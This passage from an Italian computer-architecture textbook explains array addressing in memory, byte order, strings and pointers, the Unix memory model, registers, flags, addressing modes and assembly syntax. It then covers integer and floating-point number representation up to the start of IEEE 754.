Si pone quindi il problema di scandire gli elementi dell'array. Considerando che array ha dimensioni «3,2,4» e definendo che gli indici partano da zero, l'elemento [0,0,0] corrisponde alla coppia di byte che inizia all'indirizzo 77_{16}, mentre l'elemento [2,1,3] corrisponde all'indirizzo $A5_{16}$. Per calcolare l'indirizzo corrispondente a un certo elemento occorre usare la formula seguente, dove: le variabili ***I***, ***J***, ***K*** rappresentano la dimensioni dei componenti; le variabili ***i***, ***j***, ***k*** rappresentano l'indice dell'elemento cercato; la variabile ***A*** rappresenta l'indirizzo iniziale dell'array; la variabile ***s*** rappresenta la dimensione in byte degli elementi terminali dell'array.

$$A + (i \cdot J \cdot K \cdot s + j \cdot K \cdot s + k \cdot s)$$

$$A + s \cdot (i \cdot J \cdot K + j \cdot K + k)$$

Si vuole calcolare la posizione dell'elemento 2,0,1. Per facilitare i conti a livello umano, si converte l'indirizzo iniziale dell'array in base dieci: $77_{16} = 119_{10}$:

$$119 + 2 \cdot (2 \cdot 2 \cdot 4 + 0 \cdot 4 + 1) = 153$$

Il valore 153_{10} si traduce in base sedici in 99_{16}, che corrisponde effettivamente all'elemento cercato: terzo elemento principale, all'interno del quale si cerca il primo elemento, all'interno del quale si cerca il secondo elemento finale.

74.1.5 Gestione alternativa degli indici

Quando si vuole disporre un array nella memoria, se quello che conta è solo raggiungere gli elementi terminali che lo compongono, non fa molta differenza se la gerarchia con cui si organizza è diversa. Per esempio, l'array che prima era strutturato in elementi di dimensione 3,2,4, potrebbe benissimo essere definito secondo la suddivisione 4,3,2, gestendo di conseguenza gli indici. Lo si può vedere nella figura successiva che riproduce la nuova gerarchia in forma di albero.

Figura 74.15. La stessa matrice, ma organizzata secondo una gerarchia differente.

Nella figura successiva si riprende l'esempio di mappa della memoria, dove l'array già apparso nella sezione precedente è disposto secondo la nuova suddivisione.

Figura 74.16. La nuova mappa della memoria.

Nella tabella successiva si mettono a confronto le coordinate calcolate per raggiungere gli elementi dell'array strutturato secondo le due gerarchie mostrate (quella della sezione precedente e quella attuale). Si può vedere che le celle di memoria vengono raggiunte nello stesso modo (nella tabella gli indirizzi sono annotati in base dieci). Viene anche mostrato cosa può accadere se si usano gli indici di accesso in modo non coincidente alla gerarchia prescelta.

Tabella 74.17. Confronto dell'indirizzamento della memoria utilizzando due modi diversi di organizzare gli elementi dell'array, con un esempio di cosa accade quando gli indici non combaciano con la struttura scelta.

Array secondo la sua struttura prevista

I	J	K
3	2	4

i	*j*	*k*	indirizzo (in base dieci)
0	0	0	119
0	0	1	121
0	0	2	123
0	0	3	125
0	1	0	127
0	1	1	129
0	1	2	131
0	1	3	133
1	0	0	135
1	0	1	137
1	0	2	139
1	0	3	141
1	1	0	143
1	1	1	145
1	1	2	147
1	1	3	149
2	0	0	151
2	0	1	153
2	0	2	155
2	0	3	157
2	1	0	159
2	1	1	161
2	1	2	163
2	1	3	165

Array con una suddivisione alternativa

I	J	K
2	4	3

i	*j*	*k*	indirizzo (in base dieci)
0	0	0	119
0	0	1	121
0	0	2	123
0	1	0	125
0	1	1	127
0	1	2	129
0	2	0	131
0	2	1	133
0	2	2	135
0	3	0	137
0	3	1	139
0	3	2	141
1	0	0	143
1	0	1	145
1	0	2	147
1	1	0	149
1	1	1	151
1	1	2	153
1	2	0	155
1	2	1	157
1	2	2	159
1	3	0	161
1	3	1	163
1	3	2	165

Array con indici di accesso scambiati (ma il risultato è errato)

I	J	K
3	2	4

j	***k***	***i***	indirizzo errato (in base dieci)
0	0	0	119
0	0	1	121
0	0	2	123
0	1	0	127
0	1	1	129
0	1	2	131
0	2	0	135
0	2	1	137
0	2	2	139
0	3	0	143
0	3	1	145
0	3	2	147
1	0	0	135
1	0	1	137
1	0	2	139
1	1	0	143
1	1	1	145
1	1	2	147
1	2	0	151
1	2	1	153
1	2	2	155
1	3	0	159
1	3	1	161
1	3	2	163

74.1.6 Ordine dei byte

Come già descritto, normalmente l'accesso alla memoria avviene conoscendo l'indirizzo iniziale dell'informazione cercata, sapendo poi per quanti byte questa si estende. Il microprocessore, a seconda delle proprie caratteristiche e delle istruzioni ricevute, legge e scrive la memoria a gruppetti di byte, più o meno numerosi. Ma l'ordine dei byte che il microprocessore utilizza potrebbe essere diverso da quello che si immagina di solito.

Figura 74.18. Confronto tra *big endian* e *little endian*.

big endian 32 bit (4 byte)

0 1 1 1 0 1 1 0	1 0 0 1 1 0 1 1	1 1 1 1 0 1 1 1	1 0 0 0 1 0 1 1
1 0 0 0 1 0 1 1	1 1 1 1 0 1 1 1	1 0 0 1 1 0 1 1	0 1 1 1 0 1 1 0

little endian

big endian 16 bit (2 byte)

0 1 1 1 0 1 1 0	1 0 0 1 1 0 1 1
1 0 0 1 1 0 1 1	0 1 1 1 0 1 1 0

little endian

A questo proposito, per quanto riguarda la rappresentazione dei dati nella memoria, si distingue tra *big endian*, corrispondente a una rappresentazione «normale», dove il primo byte è quello più significativo (*big*), e *little endian*, dove la sequenza dei byte è invertita (ma i bit di ogni byte rimangono nella stessa sequenza standard) e il primo byte è quello meno significativo (*little*). La cosa importante da chiarire è che l'effetto dell'inversione nella sequenza porta a risultati differenti, a seconda della quantità di byte che compongono l'insieme letto o scritto simultaneamente dal microprocessore, come si vede nella figura.

74.1.7 Stringhe, array e puntatori

Le stringhe sono rappresentate in memoria come array di caratteri, dove il carattere può impiegare un byte o dimensioni multiple (nel caso di UTF-8, un carattere viene rappresentato utilizzando da uno a quattro byte, a seconda del punto di codifica raggiunto). Il riferimento a una stringa viene fatto come avviene per gli array in generale, attraverso un puntatore all'indirizzo della prima cella di memoria che lo contiene; tuttavia, per non dovere annotare la dimensione di tale array, di norma si conviene che la fine della stringa sia delimitata da un byte a zero, come si vede nell'esempio della figura.

Figura 74.19. Stringa conclusa da un byte a zero (*zero terminated string*), a cui viene fatto riferimento per mezzo di una variabile che contiene il suo indirizzo iniziale. La stringa contiene il testo '`Ciao amore.`', secondo la codifica ASCII.

puntatore all'indirizzo del primo byte della stringa

78

43 69 61 6F 20 61 6D 6F

72 65 2E 00

conclusione della stringa contrassegnata da un byte a zero

Nella figura si vede che la variabile scalare collocata all'indirizzo 53_{16} contiene un valore da intendere come indirizzo, con il quale si fa riferimento al primo byte dell'array che rappresenta la stringa (in posizione 78_{16}). La variabile collocata in 53_{16} assume così il ruolo di ***variabile***

puntatore e, secondo il modello ridotto di memoria della figura, è sufficiente un solo byte per rappresentare un tale puntatore, dal momento che servono soltanto valori da 00_{16} a FF_{16}.

74.1.8 Utilizzo della memoria

La memoria dell'elaboratore viene utilizzata sia per contenere i dati, sia per il codice del programma che li utilizza. Ogni programma ha un proprio spazio in memoria, che può essere reale o virtuale; all'interno di questo spazio, la disposizione delle varie componenti potrebbe essere differente. Nei sistemi che si rifanno al modello di Unix, nella parte più «bassa» della memoria risiede il codice che viene eseguito; subito dopo vengono le variabili globali del programma, mentre dalla parte più «alta» inizia la pila dei dati che cresce verso indirizzi inferiori. Si possono comunque immaginare combinazioni differenti di tale organizzazione, pur rispettando il vincolo di avere tre zone ben distinte per il loro contesto (codice, dati, pila); tuttavia, ci sono situazioni in cui i dati si trovano mescolati al codice, per qualche ragione.

Figura 74.20. Esempio di disposizione delle componenti di un programma in esecuzione in memoria, secondo il modello Unix.

74.2 Architettura, linguaggio, contesto virtuale, terminologia

Ciò che un microprocessore esegue sono istruzioni in linguaggio macchina, composte secondo la sintassi che il microprocessore stesso è in grado di interpretare. Il linguaggio macchina è fatto esclusivamente di numeri (da gestire in base due) e per questo, di norma, non viene utilizzato direttamente a livello umano.

Quando si deve intervenire al livello più basso possibile della programmazione, ci si avvale generalmente di un linguaggio «assemblatore» (*assembly*), ovvero un linguaggio che, pur rimanendo legato alle caratteristiche del microprocessore e in generale a quelle dell'architettura dell'elaboratore, esprime le istruzioni in una forma simbolica più comprensibile. Naturalmente, un programma scritto secondo un linguaggio assemblatore deve essere elaborato da un compilatore (*assembler*) per generare il linguaggio macchina effettivo.

Non esiste un'architettura standard, né un linguaggio macchina standard e di conseguenza non esiste nemmeno un linguaggio assemblatore standard. Un programma scritto con un linguaggio assemblatore adatto a un certo tipo di architettura non può funzionare in un'architettura differente. Pertanto, se si usa un tale linguaggio, lo si fa soprattutto per quelle cose che altrimenti non potrebbero essere risolte (come il codice necessario all'avvio del sistema operativo).

74.2.1 Memoria e registri

Le architetture per elaboratore più diffuse prevedono un microprocessore in grado di comunicare con una memoria centrale, organizzata come un vettore di celle, contenenti una quantità uniforme di bit, accessibili attraverso un indice che ne rappresenta l'indirizzo. Oltre a questo, il microprocessore dispone internamente di alcuni ***registri***, ovvero delle celle singole di memoria con compiti più o meno specializzati.

La dimensione dei registri condiziona la capacità del microprocessore di eseguire dei calcoli e la capacità di indirizzamento della memoria. La dimensione dei registri più comuni di un microprocessore corrisponde alla dimensione della ***parola*** (*word*).

Generalmente, la memoria centrale è organizzata in celle di byte (intesi come gruppi di otto bit), ma possono esistere architetture in cui tali celle corrispondono alla dimensione della parola del microprocessore, o anche altre dimensioni, ma in generale una cella della memoria deve essere contenibile in un registro.

Nella memoria centrale devono risiedere sia i dati da elaborare, sia le istruzioni in linguaggio macchina. Pertanto, un registro molto importante in un microprocessore è quello che tiene traccia, nella memoria centrale, dell'istruzione successiva da eseguire: *instruction pointer* o *program counter*.

Nel caso degli elaboratori x86-32, l'architettura più comune negli anni 1990 prevede parole da 32 bit e una memoria organizzata in byte; pertanto è possibile gestire lo spazio di 4 Gibyte (2^{32}). Purtroppo, nella documentazione originale di questo tipo di architettura si usa il termine *word* per identificare una dimensione a 16 bit, come era nel primo microprocessore di quella serie (8088/8086), per motivi di compatibilità.

74.2.2 Indicatori o «flag»

Un ***indicatore***, ovvero un *flag*, è un'informazione costituita da un solo valore binario (*Vero* o *Falso*) che serve a tenere traccia dell'esito delle operazioni svolte all'interno del microprocessore. In generale, gli indicatori sono raccolti assieme in un registro specializzato.

Gli indicatori più importanti in assoluto sono due: «riporto» o *carry* che serve a conoscere l'esito delle somme (e delle sottrazioni) di valori senza segno; «traboccamento» o *overflow* che serve a conoscere l'esito delle somme (e delle sottrazioni) di valori con segno. Bisogna osservare che, tra le varie architetture, non è detto che gli indicatori funzionino sempre nella stessa maniera.

Tabella 74.21. Indicatori comuni tra le varie architetture.

Indicatore (*flag*)	Descrizione
carry	È l'indicatore del riporto che diventa utile per le operazioni con valori senza segno.
borrow	È l'indicatore della richiesta del prestito di una cifra nelle sottrazioni che diventa utile per le operazioni con valori senza segno. Di solito questo indicatore è costituito dallo stesso *carry*, il cui risultato va inteso in questo senso quando si eseguono delle sottrazioni.
overflow	È l'indicatore di traboccamento per le operazioni che riguardano valori con segno.
zero	Viene impostato dopo un'operazione che dà come risultato il valore zero.
sign	In linea di massima, riproduce il bit più significativo di un valore, dopo un'operazione. Se il valore è da intendersi con segno, l'indicatore serve a riprodurre il segno stesso.
parity	In linea di massima, si attiva quando l'ultima operazione produce un risultato contenente una quantità pari di bit a uno (ma ciò non significa che il valore corrispondente sia pari).

74.2.3 «Opcode»

Nel linguaggio macchina, il codice numerico che descrive le istruzioni è definito *operation code* (codice operazione) e si abbrevia come *opcode* (o solo «op»). La lunghezza complessiva dell'istruzione può cambiare a seconda degli operandi che il codice di operazione prevede di avere.

74.2.4 Accesso alla memoria

Le istruzioni fornite al microprocessore (in linguaggio macchina o secondo la simbologia del linguaggio assemblatore) contengono dati o riferimenti a dei dati. A questo proposito, ogni architettura definisce le proprie tipologie e, di conseguenza, non esiste una denominazione uniforme.

Spesso si distingue tra le modalità di indirizzamento riferite al codice del programma, rispetto a quelle relative ai dati veri e propri. Le forme di indirizzamento più semplici riferite al codice possono essere assolute, quando si specifica un indirizzo preciso, oppure relative, quando si specifica uno spostamento relativo dalla posizione corrente. Si usa l'indirizzamento al codice con i salti e con le chiamate di subroutine. L'indirizzamento ai dati potrebbe comprendere le forme dell'elenco seguente:

- valori numerici costanti, incorporati nell'istruzione, che spesso sono chiamati «immediati»;
- registri da intendere come tali;
- aree di memoria indicate direttamente con un indirizzo;
- aree di memoria indicate da un indirizzo composto da un valore di riferimento e l'aggiunta di un indice o di uno scostamento;
- aree di memoria indicate attraverso un registro che ne contiene l'indirizzo;
- aree di memoria indicate con un indirizzo composto dalla somma tra un valore costante, il contenuto di un registro ed eventualmente uno scostamento.

In generale, il termine «valore immediato» si riferisce a un'informazione numerica costante, incorporata nell'istruzione in linguaggio macchina. Ogni volta che si indica un riferimento fisso alla memoria (di solito lo si fa attraverso un «simbolo», rappresentato da etichetta, che il compilatore traduce in un indirizzo, in uno scostamento o in un dislocamento), sia per ciò che riguarda il codice, sia per i dati veri e propri, si sta utilizzando un valore immediato, anche se è compito del compilatore tradurlo effettivamente in un numero. Tale valore è «immediato» in quanto il microprocessore non deve eseguire alcun calcolo per interpretarlo.

Come si può intuire, le forme più complesse di rappresentazione delle variabili in memoria consentono una scansione utile per rappresentare gli array di dati.

È però importante distinguere i contesti: un conto è l'istruzione macchina, un altro è l'istruzione scritta nel linguaggio assemblatore. Generalmente gli indirizzi della memoria non vengono scritti materialmente in forma numerica, lasciando che sia il compilatore a tradurli nella realtà concreta. Ma questo comporta spesso anche la scelta di un tipo di istruzione macchina rispetto a un altro, in base al contesto, cosa che rimane sempre a carico del compilatore. D'altro canto, certi tipi di indirizzamento complesso, vengono elaborati e semplificati dal compilatore stesso.

È importante sottolineare che le istruzioni in linguaggio macchina (*opcode*) possono essere diverse, anche se riferite a uno stesso tipo di operazione, quando cambia l'entità di un dislocamento o il tipo di indirizzamento; pertanto, quando si legge il manuale di riferimento per un certo microprocessore, si trova l'elenco delle istruzioni e la descrizione degli operandi previsti, ma non è detto che nel linguaggio assemblatore si debba usare esattamente la stessa modalità.

74.2.5 Modello della memoria nei sistemi Unix[1]

Nei sistemi Unix, inclusi i sistemi liberi che si rifanno a quel modello tradizionale, i processi elaborativi vedono la memoria come un solo vettore contenente: le istruzioni da eseguire, lo spazio previsto per i dati e una pila, utilizzata sostanzialmente nel modo descritto nelle sezioni precedenti. La pila inizia però da una posizione elevata di questo vettore e si espande in posizioni inferiori. Pertanto, l'indice della pila viene decrementato quando la si carica di un nuovo elemento (*push*) e viene incrementato quando invece la si scarica (*pop*). Ciò è come dire che la pila è rovesciata e si estende «verso il basso».

Figura 74.22. Semplificazione del modo in cui un processo elaborativo Unix vede la memoria. La dimensione della memoria virtuale a disposizione di un processo elaborativo dipende normalmente dall'architettura dell'elaboratore; il valore indicato nel disegno serve solo come semplificazione. A sinistra si vedono gli indirizzi di memoria partire dal basso ed estendersi in altro; a destra si vede l'opposto. Nella seconda forma visuale la pila cresce «dal basso», ma rimane il fatto che il modo di gestire l'indice sia lo stesso.

La rappresentazione che si vede nella parte sinistra della figura è quella tradizionale, ma se si ragiona «in senso di lettura», potrebbe essere più logico rappresentare gli indirizzi più bassi in altro, progredendo verso il basso. In tal caso, la pila si estende come si è abituati normalmente a pensarla, ma resta il fatto che l'indice di gestione della pila deve essere decrementato per aggiungere degli elementi sulla stessa.

74.2.6 Sintassi «AT&T» e «Intel»

Quando si utilizza l'architettura x86 si trovano generalmente compilatori per linguaggi assemblatori di due tipi: uno conforme allo stile usato nei sistemi Unix del PDP-11; l'altro conforme alla simbologia usata dalla documentazione della casa produttrice dei primi microprocessori di questo tipo. Dal momento che Unix è nato nei laboratori Bell AT&T, la prima notazione è nota come «sintassi AT&T»; per converso, l'altra è la «sintassi Intel».

Generalmente, negli ambienti legati ai sistemi Unix e simili, GNU/Linux incluso, si preferisce usare compilatori con sintassi AT&T.

74.2.7 Macchina virtuale

Quando si scrive un programma in linguaggio assemblatore, occorre tenere in considerazione il contesto di funzionamento. Di norma questo contesto è dato dal sistema operativo, attraverso il quale il programma viene caricato in memoria e poi eseguito.

In effetti, l'uso diretto di un linguaggio assemblatore è appropriato quando si opera al di fuori del sistema operativo, per esempio, proprio per il codice di avvio di un sistema. Tuttavia, quando si inizia lo studio di un tale linguaggio, i programmi che si realizzano sono fatti per un sistema già funzionante che quindi si sottomettono al controllo di questo.

L'ambiente in cui si trova a funzionare il programma avviato attraverso il sistema operativo è una macchina virtuale che può avere caratteristiche differenti rispetto alla «macchina reale», soprattutto per ciò che riguarda l'indirizzamento della memoria e per le funzioni a cui è possibile accedere.

74.2.8 Compilazione e collegamento

Nei sistemi operativi che si rifanno al modello di Unix, la compilazione di un programma scritto secondo un linguaggio assemblatore segue un procedimento comune. Una prima fase interpreta un file sorgente e produce un file «oggetto», ripetendo eventualmente il procedimento per altri file che servono a produrre lo stesso programma. I file oggetto ottenuti in questa fase sono file binari che non sono ancora pronti per essere eseguiti, in quanto alcune informazioni sono rimaste da definire. Nella seconda fase (nota come *link*) i file oggetto che servono a comporre un certo programma vengono collegati assieme, generando il file eseguibile vero e proprio.

In pratica, un programma eseguibile viene ottenuto da almeno un file oggetto, ma spesso i file oggetto che servono a produrre un programma sono più di uno. Infatti, nei file che costituiscono i sorgenti possono esserci dei riferimenti a zone di memoria e a funzioni descritte in altri file, pertanto è compito della fase di «collegamento» il comporre assieme i file oggetto in modo che questi riferimenti reciproci vengano consolidati.

Secondo la tradizione, in modo predefinito, il compilatore di un linguaggio assemblatore genera il file oggetto con il nome '`a.out`', ma anche il *linker*, ovvero il programma che collega assieme i file oggetto, creerebbe un file eseguibile con lo stesso nome (naturalmente, di solito si dichiara esplicitamente il nome del file da generare). È bene sapere che il nome «a.out» deriva dalle primissime edizioni di Unix e significa *Assembler output*.

Quando si usano linguaggi di programmazione più evoluti rispetto al codice che si rifà direttamente alle caratteristiche del microprocessore, spesso il procedimento di compilazione passa per la produzione di un sorgente in linguaggio assemblatore, che poi viene compilato secondo la modalità consueta. In ogni caso, se la compilazione prevede la produzione intermedia di file oggetto, teoricamente, questi possono essere collegati assieme ad altri file oggetto prodotti da altri linguaggi. Perché ciò sia possibile effettivamente, occorre comunque che siano compatibili nel modo di condividere la memoria e di eseguire le chiamate delle funzioni, al livello del linguaggio macchina.

Rimane da tenere presente che i file oggetto e i file eseguibili hanno un formato definito da un certo standard. Di questi standard ne esistono molti, anche se nei sistemi Unix e simili si è affermato prevalentemente il formato ELF (*Executable and linkable format*). I primi formati usati nei sistemi Unix sono noti con come «a.out», confondendosi con il nome del file generato in modo predefinito dal compilatore. Si osservi che i compilatori attuali, in mancanza di altre indicazioni, producono file con il nome '`a.out`', indipendentemente dal formato che questi hanno, formato che può benissimo essere ELF o altro.

74.3 Rappresentazione di valori numerici

La memoria di un elaboratore consente di annotare esclusivamente delle cifre binarie e in uno spazio di dimensione prestabilita e fissa. Nelle sezioni successive si descrivono alcune forme di rappresentazione dei valori numerici, nell'ambito di queste limitazioni.

74.3.1 Codifica delle singole cifre

Un valore numerico potrebbe essere espresso come una stringa di caratteri, corrispondenti alle cifre numeriche che lo rappresentano secondo la notazione in base dieci. Naturalmente, una rappresentazione del genere implica uno spreco di spazio nel sistema di memorizzazione e richiede una trasformazione prima di poter procedere all'esecuzione di calcoli numerici.

Esistono diverse forme di rappresentazioni numeriche, intese come sequenze di cifre in base dieci, che utilizzano quattro bit per ogni cifra. Il sistema più comune è noto con il nome BCD: *Binary coded decimal*.

I sistemi di rappresentazione numerica che utilizzano quattro bit per ogni cifra di un valore in base dieci, si utilizzano per esempio nel linguaggio COBOL, per le variabili scalari di tipo *computational*.

Tabella 74.23. Alcune codifiche per la rappresentazione di cifre numeriche (in base dieci) a gruppi di quattro bit.

Cifra decimale	Codice BCD (8421)	Codice «eccesso 3»	Codice 2421	Codice 5211	Codice 631-1	Codice 732-1
0	0000_2	0011_2	0000_2	0000_2	0000_2 0011_2	0000_2
1	0001_2	0100_2	0001_2	0001_2 0010_2	0010_2	0011_2
2	0010_2	0101_2	0010_2 1000_2	0100_2 0011_2	0101_2	0010_2
3	0011_2	0110_2	0011_2 1001_2	0101_2 0110_2	0100_2	0100_2
4	0100_2	0111_2	0100_2 1010_2	0111_2	0110_2	0111_2
5	0101_2	1000_2	0101_2 1011_2	1000_2	1001_2	0110_2
6	0110_2	1001_2	0110_2 1100_2	1010_2 1001_2	1000_2	1001_2
7	0111_2	1010_2	0111_2 1101_2	1011_2 1100_2	1010_2	1000_2
8	1000_2	1011_2	1110_2	1110_2 1101_2	1101_2	1011_2
9	1001_2	1100_2	1111_2	1111_2	1100_2 1111_2	1010_2

La codifica BCD e altre sono ***codici pesati***, in quanto a ogni bit viene attribuito un peso, da sommare per determinare il valore. I pesi per la codifica BCD sono 8, 4, 2 e 1; pertanto, il codice BCD 1001_2 corrisponde a 1*8+0*4+0*2+1*1 = 9. Nella tabella riepilogativa, i codici pesati sono: BCD, 2421, 5211, 631-1 e 732-1. I nomi usati per questi codici sono costituiti dalla sequenza dei pesi stessi.

Alcuni codici pesati prevedono la rappresentazione di qualche cifra in più in un modo alternativo. Per esempio, nel codice 2421, il numero due si può ottenere sia come 1000_2, sia come 0010_2.

I codici pesati come BCD (ovvero 8421), 2421 e 5211, prevedono pesi positivi; i codici come 631-1 e 732-1, prevedono anche pesi negativi. Per esempio, con il codice 732-1, si ottiene il valore uno con il codice 0011_2, perché il secondo bit (a destra) vale come il numero due, mentre il primo bit (a destra) sottrae una unità.

Dei codici che appaiono nella tabella, il codice a eccesso tre, non è un codice pesato, in quanto corrisponde al codice BCD, a cui si aggiunge il valore tre.

È necessario sottolineare che il codice BCD, a seconda del contesto, può essere riferito anche a un codice a otto bit, dove i primi quattro, più significativi, sono posti a zero.

74.3.2 Rappresentazione binaria di numeri interi senza segno

Quando si rappresentano dei valori numerici in forma binaria, senza passare per una conversione di ogni singola cifra decimale, si usa tutta la sequenza di bit per il valore. La rappresentazione di un valore intero senza segno coincide normalmente con il valore binario contenuto nella variabile. Pertanto, una variabile della dimensione di 8 bit, può rappresentare valori da zero a 2^8-1:

00000000_2 (0_{10})
00000001_2 (1_{10})
00000010_2 (2_{10})
...
11111110_2 (254_{10})
11111111_2 (255_{10})

74.3.3 Rappresentazioni binarie superate di numeri interi con segno

Un numero binario, inserito nella memoria di un elaboratore, può contenere esclusivamente cifre numeriche; pertanto, la rappresentazione del segno può avvenire solo attraverso cifre numeriche. A partire approssimativamente dal 1965, il segno di un numero intero si rappresenta attraverso il complemento alla base (complemento a due) che ha delle proprietà importanti, ma per comprenderle occorre vedere quali sono state le alternative precedenti.

Il primo modo utilizzato per rappresentare un numero intero con segno è stato quello di attribuire a un bit (probabilmente quello più significativo) il ruolo di indicatore del segno. Per esempio, 00001010_2 andrebbe interpretato come $+10_{10}$, mentre 10001010_2 rappresenterebbe il valore -10_{10}. In questo modo, disponendo di otto cifre binarie, dovendone riservare una per il segno, si potrebbero rappresentare valori da -127 (11111111_2) a $+127$ (01111111_2); inoltre, lo zero potrebbe essere rappresentato indifferentemente come 00000000_2 o come 1000000_2.

Il secondo metodo (usato per esempio nel PDP-1) prevede la rappresentazione dei numeri negativi come complemento a uno del valore positivo corrispondente. Il complemento a uno si ottiene invertendo le cifre del numero binario. In questo modo, per esempio, 00001010_2 rappresenterebbe sempre il valore $+10_{10}$, mentre 11110101_2 corrisponderebbe a -10_{10}. Anche

in questo caso la prima cifra rappresenta il segno (dove la cifra uno indica un valore negativo), ma il segno si aggiorna automaticamente con la semplice inversione del valore. Utilizzando il complemento a uno per rappresentare i valori negativi, come nel caso precedente, su otto cifre complessive si possono indicare valori da −127 a +127 e lo zero si può rappresentare ancora in due modi differenti: 00000000_2 o 11111111_2.

Disponendo di una variabile per rappresentare valori interi con segno, considerato che il bit più significativo serve a rappresentare il segno stesso, si dispone di un bit in meno per indicare il valore. Pertanto, se si dispone di n bit, si possono rappresentare valori fino a $n-1$ bit, ovvero valori fino a $2^{(n-1)}-1$. Per i numeri negativi, il calcolo è lo stesso, anche se si considera che si fa riferimento a valori complementati: si può rappresentare fino a $-(2^{(n-1)}-1)$.

Il complemento alla base (ovvero il complemento a due) che è invece il metodo attuale per rappresentare i valori interi negativi, ha i vantaggi del metodo del complemento a uno, ma in più ha un solo modo per rappresentare lo zero.

74.3.4 Complemento a due

«

Attualmente, per rappresentare valori interi con segno (positivo o negativo), si utilizza il metodo del complemento alla base, ovvero del complemento a due, dove il primo bit indica sempre il segno. Il complemento a due si ottiene facilmente calcolando prima il complemento a uno e poi aggiungendo una unità al risultato. Per esempio, se si prende un valore positivo rappresentato in otto cifre binarie come 00010100_2 (pari a $+20_{10}$), il complemento a uno è 11101011_2; aggiungendo una unità si ottiene il complemento a due: 11101100_2.

Utilizzando questo metodo, per cambiare di segno a un valore è sufficiente calcolarne il complemento a due (esattamente come si farebbe con il metodo del complemento a uno). Lo si verifica facilmente: riprendendo l'esempio già fatto, partendo da -20_{10} che si rappresenta come 11101100_2, si calcola prima il complemento a uno, ottenendo così 00010011_2, quindi si somma una unità e si ottiene 00010100_2, pari a $+20_{10}$.

Con il complemento a due, disponendo di n cifre binarie, si possono rappresentare valori da $-2^{(n-1)}$ a $+2^{(n-1)}-1$ ed esiste un solo modo per rappresentare lo zero: quando tutte le cifre binarie sono pari a zero. Infatti, rimanendo nell'ipotesi di otto cifre binarie, il complemento a uno di 00000000_2 è 11111111_2, ma aggiungendo una unità per ottenere il complemento a due si ottiene di nuovo 00000000_2, perdendo il riporto.

Si osservi che il valore negativo più grande rappresentabile non può essere trasformato in un valore positivo corrispondente, perché si creerebbe un traboccamento. Per esempio, utilizzando sempre otto bit (segno incluso), il valore minimo che possa essere rappresentato è 1000000_2, pari a -128_{10}, ma se si calcola il complemento a due, si ottiene di nuovo lo stesso valore binario, che però non è valido. Infatti, il valore positivo massimo che si possa rappresentare in questo caso è solo $+127_{10}$.

Figura 74.24. Confronto tra due valori interi con segno.

0 0 0 1 1 0 0 1 (+25 in base dieci)

1 1 1 0 0 1 1 1 (−25 in base dieci)

bit di segno

Figura 74.25. Valori massimi rappresentabili con soli otto bit.

0 1 1 1 1 1 1 1 (+127 in base dieci)

1 0 0 0 0 0 0 0 (−128 in base dieci)

bit di segno

Il meccanismo del complemento a due ha il vantaggio di trasformare la sottrazione in una semplice somma algebrica.

74.3.5 Rappresentazione binaria di numeri in virgola mobile

Una forma diffusa per rappresentare dei valori molto grandi, consiste nell'indicare un numero con dei decimali moltiplicato per un valore costante elevato a un esponente intero. Per esempio, per rappresentare il numero 123 000 000 si potrebbe scrivere $123 \cdot 10^6$, oppure anche $0{,}123 \cdot 10^9$. Lo stesso ragionamento vale anche per valori molti piccoli; per esempio 0,000 000 123 che si potrebbe esprimere come $0{,}123 \cdot 10^{-6}$.

Per usare una notazione uniforme, si può convenire di indicare il numero che appare prima della moltiplicazione per la costante elevata a una certa potenza come un valore che più si avvicina all'unità, essendo minore o al massimo uguale a uno. Pertanto, per gli esempi già mostrati, si tratterebbe sempre di $0{,}123 \cdot 10^{n}$.

Per rappresentare valori a ***virgola mobile*** in modo binario, si usa un sistema simile, dove i bit a disposizione della variabile vengono suddivisi in tre parti: segno, esponente (di una base prestabilita) e mantissa, come nell'esempio che appare nella figura successiva.[2]

Figura 74.26. Ipotesi di una variabile a 16 bit per rappresentare dei numeri a virgola mobile.

segno | esponente | mantissa

15 14 8 7 0

Nella figura si ipotizza la gestione di una variabile a 16 bit per la rappresentazione di valori a virgola mobile. Come si vede dallo schema, il bit più significativo della variabile viene utilizzato per rappresentare il segno del numero; i sette bit successivi si usano per indicare l'esponente (con segno) e gli otto bit finali per la mantissa (senza segno perché indicato nel primo bit), ovvero il valore da moltiplicare per una certa costante elevata all'esponente.

Quello che manca da decidere è come deve essere interpretato il numero della mantissa e qual è il valore della costante da elevare all'esponente indicato. Sempre a titolo di esempio, si conviene che il valore indicato nella mantissa esprima precisamente «0,***mantissa***» e che la costante da elevare all'esponente indicato sia 16 (ovvero 2^4), che si traduce in pratica nello spostamento della virgola di quattro cifre binarie alla volta.[3]

Figura 74.27. Esempio di rappresentazione del numero 0,051513671875 ($211 \cdot 16^{-3}$), secondo le convenzioni stabilite. Si osservi che il valore dell'esponente è negativo ed è così rappresentato come complemento alla base (due) del valore assoluto relativo.

0	1 1 1 1 1 0 1	1 1 0 1 0 0 1 1

$$+211 \cdot 16^{-3}$$

0,00000000000011010011

Naturalmente, le convenzioni possono essere cambiate: per esempio il segno lo si può incorporare nella mantissa; si può rappresentare l'esponente attraverso un numero al quale deve essere sottratta una costante fissa; si può stabilire un valore diverso della costante da elevare all'esponente; si possono distribuire diversamente gli spazi assegnati all'esponente e alla mantissa.

74.3.6 Rappresentazione in virgola mobile IEEE 754

Per la rappresentazione dei valori in virgola mobile esiste uno standard importante, IEEE 754 (ripreso anche da altri enti di standardizzazione), con il quale si definiscono due formati, per la precisione singola e doppia. Secondo questo standard, un valore in virgola mobile a precisione singola richiede 32 bit, mentre per la precisione doppia sono necessari 64 bit. Per prima cosa si definisce un «numero normalizzato», corrispondente a:[4]

$1,\textit{\textbf{significante}}_2 \times 2^{\textit{\textbf{esponente}}}$

Di questo si utilizza solo il significante (mantissa) e l'esponente (caratteristica), omettendo il numero uno iniziale. Nella forma prevista dallo standard IEEE 754 si annota separatamente il segno del numero, quindi l'esponente, che però è «polarizzato» (nel senso che al valore dell'esponente originario occorre sommare un certo valore fisso), quindi si mettono le cifre del significante (tutte quelle che possono starci). Si osservi che il significante viene indicato sempre come valore assoluto, pertanto non si applica il complemento per i valori negativi; inoltre, l'esponente viene indicato sommando al valore originale un numero fisso che è costituito da tutti i bit a uno, tranne quello più significativo (quando l'esponente è formato da otto bit, il numero da sommare è 01111111_2, pari a 127_{10}; quando l'esponente è formato da 11 bit, il numero da sommare è 01111111111_2, pari a 1023_{10}).

Figura 74.28. IEEE 754 a precisione singola.

segno	*e*								*m*																						
31	30	29	28	27	26	25	24	23	22	21	20	19	18	17	16	15	14	13	12	11	10	9	8	7	6	5	4	3	2	1	0

